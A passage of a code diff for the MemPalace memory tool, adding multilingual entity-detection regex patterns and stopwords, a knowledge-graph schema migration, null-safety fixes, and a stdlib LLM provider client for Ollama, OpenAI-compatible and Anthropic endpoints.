+      "\\b{name}\\s+respondió\\b",
+      "\\b{name}\\s+contó\\b",
+      "\\b{name}\\s+rió\\b",
+      "\\b{name}\\s+sonrió\\b",
+      "\\b{name}\\s+lloró\\b",
+      "\\b{name}\\s+sintió\\b",
+      "\\b{name}\\s+piensa\\b",
+      "\\b{name}\\s+quiere\\b",
+      "\\b{name}\\s+ama\\b",
+      "\\b{name}\\s+odia\\b",
+      "\\b{name}\\s+sabe\\b",
+      "\\b{name}\\s+decidió\\b",
+      "\\b{name}\\s+escribió\\b"
+    ],
+    "pronoun_patterns": [
+      "\\bél\\b",
+      "\\bella\\b",
+      "\\bellos\\b",
+      "\\bellas\\b",
+      "\\blo\\b",
+      "\\bla\\b",
+      "\\ble\\b",
+      "\\bles\\b",
+      "\\bse\\b"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:\\s]",
+      "^{name}:\\s",
+      "^\\[{name}\\]",
+      "\"{name}\\s+dijo"
+    ],
+    "direct_address_pattern": "\\bhola\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bgracias\\s+{name}\\b|\\bquerido\\s+{name}\\b|\\bquerida\\s+{name}\\b|\\bestimado\\s+{name}\\b|\\bestimada\\s+{name}\\b|\\bdon\\s+{name}\\b|\\bdoña\\s+{name}\\b|\\bseñor\\s+{name}\\b|\\bseñora\\s+{name}\\b",
+    "project_verb_patterns": [
+      "\\bconstruyo\\s+{name}\\b",
+      "\\bconstruí\\s+{name}\\b",
+      "\\barmé\\s+{name}\\b",
+      "\\blancé\\s+{name}\\b",
+      "\\bdesplegué\\s+{name}\\b",
+      "\\binstalé\\s+{name}\\b",
+      "\\bla\\s+arquitectura\\s+{name}\\b",
+      "\\bel\\s+pipeline\\s+{name}\\b",
+      "\\bel\\s+sistema\\s+{name}\\b",
+      "\\bel\\s+proyecto\\s+{name}\\b",
+      "\\bel\\s+repositorio\\s+{name}\\b",
+      "\\b{name}\\s+v\\d+\\b",
+      "\\b{name}\\.py\\b",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "el", "la", "los", "las", "un", "una", "unos", "unas",
+      "de", "del", "al", "a", "en", "con", "sin", "por", "para", "sobre",
+      "entre", "hasta", "desde", "hacia", "contra", "según", "tras",
+      "y", "o", "u", "ni", "pero", "sino", "aunque", "porque", "pues",
+      "que", "quien", "quienes", "cual", "cuales", "cuyo", "cuya",
+      "donde", "cuando", "como", "cuanto", "cuanta",
+      "yo", "tú", "él", "ella", "nosotros", "vosotros", "ellos", "ellas",
+      "me", "te", "se", "nos", "os", "lo", "la", "le", "los", "las", "les",
+      "mi", "mis", "tu", "tus", "su", "sus", "nuestro", "nuestra", "vuestro",
+      "este", "esta", "estos", "estas", "ese", "esa", "esos", "esas",
+      "aquel", "aquella", "aquellos", "aquellas", "esto", "eso", "aquello",
+      "ser", "estar", "haber", "tener", "hacer", "poder", "querer", "saber",
+      "es", "son", "fue", "fueron", "era", "eran", "está", "están", "estaba",
+      "he", "ha", "hemos", "han", "había", "hay",
+      "muy", "mucho", "mucha", "muchos", "muchas", "poco", "poca", "pocos", "pocas",
+      "más", "menos", "tan", "tanto", "también", "tampoco",
+      "sí", "no", "quizás", "tal", "vez",
+      "aquí", "allí", "allá", "ahí", "acá",
+      "hoy", "ayer", "mañana", "ahora", "antes", "después", "luego", "entonces",
+      "siempre", "nunca", "jamás", "todavía", "aún", "ya",
+      "bien", "mal", "mejor", "peor", "bueno", "buena", "malo", "mala",
+      "gracias", "hola", "adiós", "por favor", "perdón",
+      "día", "días", "semana", "mes", "año", "años", "tiempo", "vez", "veces",
+      "cosa", "cosas", "persona", "gente", "mundo", "vida", "casa", "lugar",
+      "forma", "manera", "parte", "caso", "punto", "idea", "hecho", "razón",
+      "nombre", "número", "versión", "sistema", "modelo"
+    ]
   }
 }

mempalace/i18n/fr.json

@@ -40,5 +40,87 @@
     "stop_words": "le la les un une des de du au aux en et ou mais donc or ni car que qui ce cette ces son sa ses mon ma mes ton ta tes leur leurs nous vous ils elles on ne pas plus très bien aussi avec pour dans sur par est sont fait être avoir été comme tout tous toute toutes",
     "quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
     "action_pattern": "(?:construit|corrigé|écrit|ajouté|poussé|mesuré|testé|révisé|créé|supprimé|mis à jour|configuré|déployé|migré)\\s+[\\wà-ÿ\\s]{3,30}"
+  },
+  "entity": {
+    "candidate_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]{1,19}",
+    "multi_word_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+(?:\\s+[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+)+",
+    "person_verb_patterns": [
+      "\\b{name}\\s+a\\s+dit\\b",
+      "\\b{name}\\s+a\\s+demandé\\b",
+      "\\b{name}\\s+a\\s+répondu\\b",
+      "\\b{name}\\s+a\\s+raconté\\b",
+      "\\b{name}\\s+a\\s+ri\\b",
+      "\\b{name}\\s+a\\s+souri\\b",
+      "\\b{name}\\s+a\\s+pleuré\\b",
+      "\\b{name}\\s+a\\s+senti\\b",
+      "\\b{name}\\s+pense\\b",
+      "\\b{name}\\s+veut\\b",
+      "\\b{name}\\s+aime\\b",
+      "\\b{name}\\s+déteste\\b",
+      "\\b{name}\\s+sait\\b",
+      "\\b{name}\\s+a\\s+décidé\\b",
+      "\\b{name}\\s+a\\s+écrit\\b"
+    ],
+    "pronoun_patterns": [
+      "\\bil\\b",
+      "\\belle\\b",
+      "\\blui\\b",
+      "\\bils\\b",
+      "\\belles\\b",
+      "\\bleur\\b",
+      "\\bleurs\\b",
+      "\\beux\\b",
+      "\\bse\\b"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:\\s]",
+      "^{name}:\\s",
+      "^\\[{name}\\]",
+      "\"{name}\\s+a\\s+dit"
+    ],
+    "direct_address_pattern": "\\bbonjour\\s+{name}\\b|\\bsalut\\s+{name}\\b|\\bmerci\\s+{name}\\b|\\bcher\\s+{name}\\b|\\bchère\\s+{name}\\b|\\bmonsieur\\s+{name}\\b|\\bmadame\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b",
+    "project_verb_patterns": [
+      "\\bconstruit\\s+{name}\\b",
+      "\\blancé\\s+{name}\\b",
+      "\\bdéployé\\s+{name}\\b",
+      "\\binstallé\\s+{name}\\b",
+      "\\bl'architecture\\s+{name}\\b",
+      "\\ble\\s+pipeline\\s+{name}\\b",
+      "\\ble\\s+système\\s+{name}\\b",
+      "\\ble\\s+projet\\s+{name}\\b",
+      "\\ble\\s+dépôt\\s+{name}\\b",
+      "\\b{name}\\s+v\\d+\\b",
+      "\\b{name}\\.py\\b",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "le", "la", "les", "un", "une", "des", "du", "de", "au", "aux",
+      "en", "dans", "sur", "sous", "avec", "sans", "pour", "par", "vers",
+      "chez", "entre", "depuis", "pendant", "avant", "après", "jusqu",
+      "et", "ou", "mais", "donc", "or", "ni", "car", "que", "qui",
+      "dont", "où", "quand", "comment", "pourquoi", "combien", "lequel",
+      "ce", "cet", "cette", "ces", "celui", "celle", "ceux", "celles",
+      "mon", "ma", "mes", "ton", "ta", "tes", "son", "sa", "ses",
+      "notre", "nos", "votre", "vos", "leur", "leurs",
+      "je", "tu", "il", "elle", "on", "nous", "vous", "ils", "elles",
+      "me", "te", "se", "lui", "eux",
+      "être", "avoir", "faire", "dire", "aller", "voir", "savoir", "pouvoir",
+      "est", "sont", "était", "étaient", "fut", "furent", "sera", "seront",
+      "ai", "as", "a", "avons", "avez", "ont", "avait", "avaient",
+      "très", "bien", "mal", "peu", "beaucoup", "trop", "assez", "aussi",
+      "plus", "moins", "tant", "si", "tellement",
+      "oui", "non", "peut-être", "vraiment",
+      "ici", "là", "là-bas", "partout", "ailleurs",
+      "aujourd'hui", "hier", "demain", "maintenant", "alors", "ensuite",
+      "toujours", "jamais", "souvent", "parfois", "déjà", "encore",
+      "bon", "bonne", "mauvais", "mauvaise", "meilleur", "pire",
+      "merci", "bonjour", "salut", "au revoir",
+      "jour", "jours", "semaine", "mois", "année", "temps", "fois",
+      "chose", "choses", "personne", "gens", "monde", "vie", "maison",
+      "endroit", "lieu", "partie", "façon", "manière", "sorte", "type",
+      "cas", "point", "idée", "fait", "raison", "nom", "nombre",
+      "version", "système", "modèle", "question", "réponse"
+    ]
   }
 }

mempalace/i18n/zh-CN.json

@@ -40,5 +40,93 @@
     "stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一个 上 也 很 到 说 要 去 你 会 着 没有 看 好 自己 这 那 她 他 它 们 但是 因为 所以 如果 虽然 然后 或者 而且",
     "quote_pattern": "\\u201C([^\\u201D]{10,100})\\u201D|\"([^\"]{10,200})\"",
     "action_pattern": "(构建|修复|添加|删除|确认|创建|实现|修理|编写|测试|验证|更新|配置|启动|停止)(?:了|完成|成功)"
+  },
+  "entity": {
+    "boundary_chars": "\\u4E00-\\u9FFF",
+    "candidate_pattern": "[王李张刘陈杨赵黄周吴徐孙朱胡郭何高林罗郑梁谢宋唐许韩冯邓曹彭曾萧田董袁潘于蒋蔡余杜叶程苏魏吕丁任沈姚卢姜崔钟谭陆汪范金石廖贾夏韦方白邹孟熊秦邱江尹薛阎段雷侯龙史陶黎贺顾毛郝龚邵万钱严武戴莫孔向汤温庞殷章葛管甘卞冉蓝殷习][\\u4E00-\\u9FFF]{1,2}",
+    "person_verb_patterns": [
+      "{name}说",
+      "{name}问",
+      "{name}答",
+      "{name}表示",
+      "{name}回答",
+      "{name}提出",
+      "{name}决定",
+      "{name}认为",
+      "{name}指出",
+      "{name}解释",
+      "{name}告诉",
+      "{name}写道",
+      "{name}想",
+      "{name}觉得",
+      "{name}知道",
+      "{name}喜欢",
+      "{name}讨厌",
+      "{name}确认",
+      "{name}提醒",
+      "{name}分享",
+      "{name}建议",
+      "{name}同意",
+      "{name}反对"
+    ],
+    "pronoun_patterns": [
+      "他们",
+      "她们",
+      "他",
+      "她",
+      "它",
+      "您",
+      "咱"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:：\\s]",
+      "^{name}[:：]\\s?",
+      "^\\[{name}\\]",
+      "\u201C{name}[\u201D:：]",
+      "「{name}[」:：]"
+    ],
+    "direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|谢谢\\s*{name}|感谢\\s*{name}|哈喽\\s*{name}|亲爱的\\s*{name}",
+    "project_verb_patterns": [
+      "建立{name}",
+      "打造{name}",
+      "部署{name}",
+      "启动{name}",
+      "发布{name}",
+      "上线{name}",
+      "开发{name}",
+      "维护{name}",
+      "{name}系统",
+      "{name}平台",
+      "{name}项目",
+      "{name}架构",
+      "{name}管线",
+      "{name}v\\d+",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "的", "了", "着", "过", "得", "地", "吗", "吧", "呢", "啊", "喔", "耶",
+      "我", "你", "妳", "他", "她", "它", "您", "咱",
+      "我们", "你们", "妳们", "他们", "她们", "它们", "咱们",
+      "自己", "大家", "有人", "没人",
+      "今天", "明天", "昨天", "前天", "后天", "今年", "明年", "去年",
+      "早上", "下午", "晚上", "中午", "凌晨",
+      "现在", "刚才", "刚刚", "等等", "等下", "待会",
+      "最近", "以前", "之前", "之后", "以后", "后来",
+      "什么", "为什么", "怎么", "怎样", "哪里", "哪个",
+      "这个", "那个", "这里", "那里", "这些", "那些", "这样", "那样",
+      "但是", "可是", "然后", "所以", "因为", "如果", "虽然",
+      "而且", "或者", "或是", "还是", "不过", "只是", "不只",
+      "既然", "不然", "否则", "此外", "另外",
+      "很", "非常", "相当", "真的", "确实", "当然", "其实",
+      "已经", "正在", "即将", "将要", "刚好", "恰好",
+      "可能", "也许", "或许", "大概", "应该", "必须", "一定",
+      "完成", "执行", "进行", "开始", "结束", "继续", "停止", "完毕",
+      "没有", "有点", "有些", "一些", "许多", "很多",
+      "问题", "答案", "原因", "结果", "情况", "状况",
+      "主要", "重要", "基本", "简单", "复杂", "特别",
+      "谢谢", "感谢", "对不起", "不好意思", "请问",
+      "欢迎", "再见", "你好", "您好", "哈喽", "拜拜"
+    ]
   }
 }

mempalace/i18n/zh-TW.json

@@ -40,5 +40,93 @@
     "stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一個 上 也 很 到 說 要 去 你 會 著 沒有 看 好 自己 這 那 她 他 它 們 但是 因為 所以 如果 雖然 然後 或者 而且",
     "quote_pattern": "「([^」]{10,100})」|\u201c([^\u201d]{10,100})\u201d",
     "action_pattern": "(構建|修復|添加|刪除|確認|創建|實現|修理|編寫|測試|驗證|更新|配置|啟動|停止)(?:了|完成|成功)"
+  },
+  "entity": {
+    "boundary_chars": "\\u4E00-\\u9FFF",
+    "candidate_pattern": "[王李張劉陳楊趙黃周吳徐孫朱胡郭何高林羅鄭梁謝宋唐許韓馮鄧曹彭曾蕭田董袁潘于蔣蔡余杜葉程蘇魏呂丁任沈姚盧姜崔鍾譚陸汪范金石廖賈夏韋方白鄒孟熊秦邱江尹薛閻段雷侯龍史陶黎賀顧毛郝龔邵萬錢嚴武戴莫孔向湯溫龐殷章葛管甘卞冉藍殷習][\\u4E00-\\u9FFF]{1,2}",
+    "person_verb_patterns": [
+      "{name}說",
+      "{name}問",
+      "{name}答",
+      "{name}表示",
+      "{name}回答",
+      "{name}提出",
+      "{name}決定",
+      "{name}認為",
+      "{name}指出",
+      "{name}解釋",
+      "{name}告訴",
+      "{name}寫道",
+      "{name}想",
+      "{name}覺得",
+      "{name}知道",
+      "{name}喜歡",
+      "{name}討厭",
+      "{name}確認",
+      "{name}提醒",
+      "{name}分享",
+      "{name}建議",
+      "{name}同意",
+      "{name}反對"
+    ],
+    "pronoun_patterns": [
+      "他們",
+      "她們",
+      "他",
+      "她",
+      "它",
+      "您",
+      "咱"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:：\\s]",
+      "^{name}[:：]\\s?",
+      "^\\[{name}\\]",
+      "「{name}[」:：]",
+      "『{name}[』:：]"
+    ],
+    "direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|謝謝\\s*{name}|感謝\\s*{name}|哈囉\\s*{name}|親愛的\\s*{name}",
+    "project_verb_patterns": [
+      "建立{name}",
+      "打造{name}",
+      "部署{name}",
+      "啟動{name}",
+      "發布{name}",
+      "上線{name}",
+      "開發{name}",
+      "維護{name}",
+      "{name}系統",
+      "{name}平台",
+      "{name}專案",
+      "{name}架構",
+      "{name}管線",
+      "{name}v\\d+",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "的", "了", "著", "過", "得", "地", "嗎", "吧", "呢", "啊", "喔", "耶",
+      "我", "你", "妳", "他", "她", "它", "您", "咱",
+      "我們", "你們", "妳們", "他們", "她們", "它們", "咱們",
+      "自己", "大家", "有人", "沒人",
+      "今天", "明天", "昨天", "前天", "後天", "今年", "明年", "去年",
+      "早上", "下午", "晚上", "中午", "凌晨",
+      "現在", "剛才", "剛剛", "等等", "等下", "待會",
+      "最近", "以前", "之前", "之後", "以後", "後來",
+      "什麼", "甚麼", "為什麼", "怎麼", "怎樣", "哪裡", "哪個",
+      "這個", "那個", "這裡", "那裡", "這些", "那些", "這樣", "那樣",
+      "但是", "可是", "然後", "所以", "因為", "如果", "雖然",
+      "而且", "或者", "或是", "還是", "不過", "只是", "不只",
+      "既然", "不然", "否則", "此外", "另外",
+      "很", "非常", "相當", "真的", "確實", "當然", "其實",
+      "已經", "正在", "即將", "將要", "剛好", "恰好",
+      "可能", "也許", "或許", "大概", "應該", "必須", "一定",
+      "完成", "執行", "進行", "開始", "結束", "繼續", "停止", "完畢",
+      "沒有", "有點", "有些", "一些", "許多", "很多",
+      "問題", "答案", "原因", "結果", "情況", "狀況",
+      "主要", "重要", "基本", "簡單", "複雜", "特別",
+      "謝謝", "感謝", "對不起", "不好意思", "請問",
+      "歡迎", "再見", "你好", "您好", "哈囉", "掰掰"
+    ]
   }
 }

mempalace/instructions/init.md

@@ -49,7 +49,7 @@ If this fails, report the error and stop.
 
 Run the following command to register the MemPalace MCP server with Claude:
 
-    claude mcp add mempalace -- python -m mempalace.mcp_server
+    claude mcp add mempalace -- mempalace-mcp
 
 If this fails, report the error but continue to the next step (MCP
 configuration can be done manually later).

mempalace/knowledge_graph.py

@@ -83,6 +83,8 @@ class KnowledgeGraph:
                 confidence REAL DEFAULT 1.0,
                 source_closet TEXT,
                 source_file TEXT,
+                source_drawer_id TEXT,
+                adapter_name TEXT,
                 extracted_at TEXT DEFAULT CURRENT_TIMESTAMP,
                 FOREIGN KEY (subject) REFERENCES entities(id),
                 FOREIGN KEY (object) REFERENCES entities(id)
@@ -93,8 +95,25 @@ class KnowledgeGraph:
             CREATE INDEX IF NOT EXISTS idx_triples_predicate ON triples(predicate);
             CREATE INDEX IF NOT EXISTS idx_triples_valid ON triples(valid_from, valid_to);
         """)
+        self._migrate_schema(conn)
         conn.commit()
 
+    def _migrate_schema(self, conn):
+        """Backwards-compatible schema migration for older triples tables.
+
+        Fresh palaces get ``source_drawer_id`` / ``adapter_name`` (RFC 002 §5.5)
+        directly from the canonical ``CREATE TABLE`` above, so this path is a
+        no-op on new installs. It exists for palaces that were created before
+        those columns were added: SQLite has no ``ADD COLUMN IF NOT EXISTS``,
+        so we introspect the schema and only issue the ALTER when the column
+        is missing.
+        """
+        existing = {row["name"] for row in conn.execute("PRAGMA table_info(triples)")}
+        if "source_drawer_id" not in existing:
+            conn.execute("ALTER TABLE triples ADD COLUMN source_drawer_id TEXT")
+        if "adapter_name" not in existing:
+            conn.execute("ALTER TABLE triples ADD COLUMN adapter_name TEXT")
+
     def _conn(self):
         if self._connection is None:
             self._connection = sqlite3.connect(self.db_path, timeout=10, check_same_thread=False)
@@ -137,10 +156,16 @@ class KnowledgeGraph:
         confidence: float = 1.0,
         source_closet: str = None,
         source_file: str = None,
+        source_drawer_id: str = None,
+        adapter_name: str = None,
     ):
         """
         Add a relationship triple: subject → predicate → object.
 
+        ``source_drawer_id`` and ``adapter_name`` are RFC 002 §5.5 provenance
+        fields populated by adapters that advertise ``supports_kg_triples``;
+        they default to ``None`` so every existing caller stays source-compatible.
+
         Examples:
             add_triple("Max", "child_of", "Alice", valid_from="2015-04-01")
             add_triple("Max", "does", "swimming", valid_from="2025-01-01")
@@ -173,8 +198,12 @@ class KnowledgeGraph:
                 triple_id = f"t_{sub_id}_{pred}_{obj_id}_{hashlib.sha256(f'{valid_from}{datetime.now().isoformat()}'.encode()).hexdigest()[:12]}"
 
                 conn.execute(
-                    """INSERT INTO triples (id, subject, predicate, object, valid_from, valid_to, confidence, source_closet, source_file)
-                       VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
+                    """INSERT INTO triples (
+                        id, subject, predicate, object,
+                        valid_from, valid_to, confidence,
+                        source_closet, source_file,
+                        source_drawer_id, adapter_name
+                    ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
                     (
                         triple_id,
                         sub_id,
@@ -185,6 +214,8 @@ class KnowledgeGraph:
                         confidence,
                         source_closet,
                         source_file,
+                        source_drawer_id,
+                        adapter_name,
                     ),
                 )
         return triple_id

mempalace/layers.py

@@ -281,6 +281,8 @@ class Layer3:
 
         lines = [f'## L3 — SEARCH RESULTS for "{query}"']
         for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
+            meta = meta or {}
+            doc = doc or ""
             similarity = round(1 - dist, 3)
             wing_name = meta.get("wing", "?")
             room_name = meta.get("room", "?")
@@ -327,6 +329,13 @@ class Layer3:
             _first_or_empty(results, "metadatas"),
             _first_or_empty(results, "distances"),
         ):
+            # ChromaDB may return None for doc/meta when a drawer's HNSW entry
+            # exists but its metadata/document rows haven't been materialized
+            # (partial-flush states, mid-delete, schema upgrade boundaries).
+            # Degrade gracefully — the hit still appears with real distance;
+            # storage fields show their fallback where content is missing.
+            meta = meta or {}
+            doc = doc or ""
             hits.append(
                 {
                     "text": doc,

mempalace/llm_client.py

@@ -0,0 +1,305 @@
+"""
+llm_client.py — Minimal provider abstraction for LLM-assisted entity refinement.
+
+Three providers cover the useful space:
+
+- ``ollama`` (default): local models via http://localhost:11434. Works fully
+  offline. Honors MemPalace's "zero-API required" principle.
+- ``openai-compat``: any OpenAI-compatible ``/v1/chat/completions`` endpoint.
+  Covers OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Fireworks,
+  Together, and most self-hosted setups.
+- ``anthropic``: the official Messages API. Opt-in for users who want Haiku
+  quality without setting up a local model.
+
+All providers expose the same ``classify(system, user, json_mode)`` method and
+the same ``check_available()`` probe. No external SDK dependencies — stdlib
+``urllib`` only.
+
+JSON mode matters here: we always ask for structured output. Providers
+differ on how to request it (Ollama: ``format: json``; OpenAI-compat:
+``response_format``; Anthropic: prompt-level instruction) and this module
+normalizes that away from the caller.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+from dataclasses import dataclass
+from typing import Optional
+from urllib.error import HTTPError, URLError
+from urllib.request import Request, urlopen
+
+
+class LLMError(RuntimeError):
+    """Raised for any provider failure — transport, parse, auth, missing model."""
+
+
+@dataclass
+class LLMResponse:
+    text: str
+    model: str
+    provider: str
+    raw: dict
+
+
+# ==================== BASE ====================
+
+
+class LLMProvider:
+    name: str = "base"
+
+    def __init__(
+        self,
+        model: str,
+        endpoint: Optional[str] = None,
+        api_key: Optional[str] = None,
+        timeout: int = 120,
+    ):
+        self.model = model
+        self.endpoint = endpoint
+        self.api_key = api_key
+        self.timeout = timeout
+
+    def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
+        raise NotImplementedError
+
+    def check_available(self) -> tuple[bool, str]:
+        """Return ``(ok, message)``. Fast probe that the provider is reachable."""
+        raise NotImplementedError
+
+
+def _http_post_json(url: str, body: dict, headers: dict, timeout: int) -> dict:
+    """POST JSON and return the parsed response. Raises LLMError on any failure."""
+    req = Request(
+        url,
+        data=json.dumps(body).encode("utf-8"),
+        headers={"Content-Type": "application/json", **headers},
+    )
+    try:
+        with urlopen(req, timeout=timeout) as resp:
+            return json.loads(resp.read())
+    except HTTPError as e:
+        detail = ""
+        try:
+            detail = e.read().decode("utf-8", errors="replace")[:500]
+        except Exception:
+            pass
+        raise LLMError(f"HTTP {e.code} from {url}: {detail or e.reason}") from e
+    except (URLError, OSError) as e:
+        raise LLMError(f"Cannot reach {url}: {e}") from e
+    except json.JSONDecodeError as e:
+        raise LLMError(f"Malformed response from {url}: {e}") from e
+
+
+# ==================== OLLAMA ====================
+
+
+class OllamaProvider(LLMProvider):
+    name = "ollama"
+    DEFAULT_ENDPOINT = "http://localhost:11434"
+
+    def __init__(
+        self,
+        model: str,
+        endpoint: Optional[str] = None,
+        timeout: int = 180,
+        **_: object,
+    ):
+        super().__init__(
+            model=model,
+            endpoint=endpoint or self.DEFAULT_ENDPOINT,
+            timeout=timeout,
+        )
+
+    def check_available(self) -> tuple[bool, str]:
+        try:
+            with urlopen(f"{self.endpoint}/api/tags", timeout=5) as resp:
+                data = json.loads(resp.read())
+        except (URLError, HTTPError, OSError, json.JSONDecodeError) as e:
+            return False, f"Cannot reach Ollama at {self.endpoint}: {e}"
+        names = {m.get("name", "") for m in data.get("models", []) or []}
+        # Ollama tags may or may not include ':latest' — accept either form
+        wanted = {self.model, f"{self.model}:latest"}
+        if not names & wanted:
+            return (
+                False,
+                f"Model '{self.model}' not loaded in Ollama. Run: ollama pull {self.model}",
+            )
+        return True, "ok"
+
+    def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
+        body: dict = {
+            "model": self.model,
+            "messages": [
+                {"role": "system", "content": system},
+                {"role": "user", "content": user},
+            ],
+            "stream": False,
+            "options": {"temperature": 0.1},
+        }
+        if json_mode:
+            body["format"] = "json"
+        data = _http_post_json(f"{self.endpoint}/api/chat", body, headers={}, timeout=self.timeout)
+        text = (data.get("message") or {}).get("content", "")
+        if not text:
+            raise LLMError(f"Empty response from Ollama (model={self.model})")
+        return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
+
+
+# ==================== OPENAI-COMPAT ====================
+
+
+class OpenAICompatProvider(LLMProvider):
+    """Any OpenAI-compatible ``/v1/chat/completions`` endpoint.
+
+    Supply ``--llm-endpoint http://host:port`` (with or without ``/v1``).
+    API key via ``--llm-api-key`` or the ``OPENAI_API_KEY`` env var.
+    """
+
+    name = "openai-compat"
+
+    def __init__(
+        self,
+        model: str,
+        endpoint: Optional[str] = None,
+        api_key: Optional[str] = None,
+        timeout: int = 120,
+        **_: object,
+    ):
+        resolved_key = api_key or os.environ.get("OPENAI_API_KEY")
+        super().__init__(model=model, endpoint=endpoint, api_key=resolved_key, timeout=timeout)
+
+    def _resolve_url(self) -> str:
+        if not self.endpoint:
+            raise LLMError("openai-compat provider requires --llm-endpoint")
+        url = self.endpoint.rstrip("/")
+        if url.endswith("/chat/completions"):
+            return url
+        if not url.endswith("/v1"):
+            url = f"{url}/v1"
+        return f"{url}/chat/completions"
+
+    def check_available(self) -> tuple[bool, str]:
+        if not self.endpoint:
+            return False, "no --llm-endpoint configured"
+        base = self.endpoint.rstrip("/")
+        base = base.removesuffix("/chat/completions").removesuffix("/v1")
+        try:
+            req = Request(f"{base}/v1/models")
+            if self.api_key:
+                req.add_header("Authorization", f"Bearer {self.api_key}")
+            with urlopen(req, timeout=5):
+                pass
+        except (URLError, HTTPError, OSError) as e:
+            return False, f"Cannot reach {self.endpoint}: {e}"
+        return True, "ok"
+
+    def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
+        body: dict = {
+            "model": self.model,
+            "messages": [
+                {"role": "system", "content": system},
+                {"role": "user", "content": user},
+            ],
+            "temperature": 0.1,
+        }
+        if json_mode:
+            body["response_format"] = {"type": "json_object"}
+        headers = {}
+        if self.api_key:
+            headers["Authorization"] = f"Bearer {self.api_key}"
+        data = _http_post_json(self._resolve_url(), body, headers=headers, timeout=self.timeout)
+        try:
+            text = data["choices"][0]["message"]["content"]
+        except (KeyError, IndexError, TypeError) as e:
+            raise LLMError(f"Unexpected response shape: {e}") from e
+        if not text:
+            raise LLMError(f"Empty response from {self.name} (model={self.model})")
+        return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
+
+
+# ==================== ANTHROPIC ====================
+
+
+class AnthropicProvider(LLMProvider):
+    name = "anthropic"
+    DEFAULT_ENDPOINT = "https://api.anthropic.com"
+    API_VERSION = "2023-06-01"
+
+    def __init__(
+        self,
+        model: str,
+        api_key: Optional[str] = None,
+        endpoint: Optional[str] = None,
+        timeout: int = 120,
+        **_: object,
+    ):
+        key = api_key or os.environ.get("ANTHROPIC_API_KEY")
+        super().__init__(
+            model=model,
+            endpoint=endpoint or self.DEFAULT_ENDPOINT,
+            api_key=key,
+            timeout=timeout,
+        )
+
+    def check_available(self) -> tuple[bool, str]:
+        if not self.api_key:
+            return False, "ANTHROPIC_API_KEY not set (use --llm-api-key or env)"
+        # Don't probe — a live request would cost money. First real call will
+        # surface auth errors if the key is invalid.
+        return True, "ok"
+
+    def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
+        if not self.api_key:
+            raise LLMError("Anthropic provider requires ANTHROPIC_API_KEY env or --llm-api-key")
+        sys_prompt = system
+        if json_mode:
+            sys_prompt += "\n\nRespond with valid JSON only, no prose."
+        body = {
+            "model": self.model,
+            "max_tokens": 2048,
+            "temperature": 0.1,
+            "system": sys_prompt,
+            "messages": [{"role": "user", "content": user}],
+        }
+        headers = {
+            "X-API-Key": self.api_key,
+            "anthropic-version": self.API_VERSION,
+        }
+        data = _http_post_json(
+            f"{self.endpoint}/v1/messages", body, headers=headers, timeout=self.timeout
+        )
+        try:
+            text = "".join(
+                b.get("text", "") for b in data.get("content", []) or [] if b.get("type") == "text"
+            )
+        except (AttributeError, TypeError) as e:
+            raise LLMError(f"Unexpected response shape: {e}") from e
+        if not text:
+            raise LLMError(f"Empty response from Anthropic (model={self.model})")
+        return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
+
+
+# ==================== FACTORY ====================
+
+
+PROVIDERS: dict[str, type[LLMProvider]] = {
+    "ollama": OllamaProvider,
+    "openai-compat": OpenAICompatProvider,
+    "anthropic": AnthropicProvider,
+}
+
+
+def get_provider(
+    name: str,
+    model: str,
+    endpoint: Optional[str] = None,
+    api_key: Optional[str] = None,
+    timeout: int = 120,
+) -> LLMProvider:
+    """Build a provider by name. Raises LLMError on unknown provider."""
+    cls = PROVIDERS.get(name)
+    if cls is None:
+        raise LLMError(f"Unknown provider '{name}'. Choices: {sorted(PROVIDERS.keys())}")
+    return cls(model=model, endpoint=endpoint, api_key=api_key, timeout=timeout)

mempalace/llm_refine.py

@@ -0,0 +1,446 @@
+"""
+llm_refine.py — Optional LLM refinement of regex-detected entities.
+
+Takes the candidate set produced by phase-1 detection (manifests, git
+authors, regex on prose) and asks an LLM to reclassify each candidate as
+PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS.
+
+Design constraints:
+- Opt-in. Default init path never imports this module.
+- Local-first by default (Ollama).
+- Interactive UX: visible progress, clean cancellation (Ctrl-C returns
+  whatever was classified before the interrupt).
+- Don't feed the raw corpus to the LLM — feed candidates + a few sampled
